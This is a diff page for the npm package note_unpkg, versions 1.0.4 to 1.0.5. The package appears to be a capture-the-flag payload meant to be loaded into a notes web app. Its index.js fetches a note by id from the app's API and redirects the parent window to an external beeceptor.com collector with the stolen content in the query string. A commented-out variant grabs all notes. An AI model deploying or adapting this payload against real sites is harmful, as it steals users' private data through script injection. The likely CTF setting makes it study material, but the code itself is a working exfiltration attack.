note_unpkg 1.0.4 → 1.0.5
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +8 -7
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,13 +1,14 @@
|
|
1
1
|
async function go() {
|
2
|
-
|
3
|
-
//
|
4
|
-
//
|
5
|
-
|
2
|
+
|
3
|
+
//let notes = await fetch("/api/notes/all").then(res => res.text())
|
4
|
+
//window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + notes
|
5
|
+
|
6
6
|
const id = "a83ed14e-8c1c-43c3-ad7a-b5393ad85a3d"
|
7
|
-
let flag = await fetch("/api/notes?id=" + id
|
8
|
-
|
9
|
-
|
7
|
+
let flag = await fetch("/api/notes?id=" + id).then(res => res.text())
|
8
|
+
|
9
|
+
// sleep for a while so I have time to press "report"
|
10
10
|
await new Promise(r => setTimeout(r, 2000));
|
11
|
+
|
11
12
|
window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + flag
|
12
13
|
};
|
13
14
|
go();
|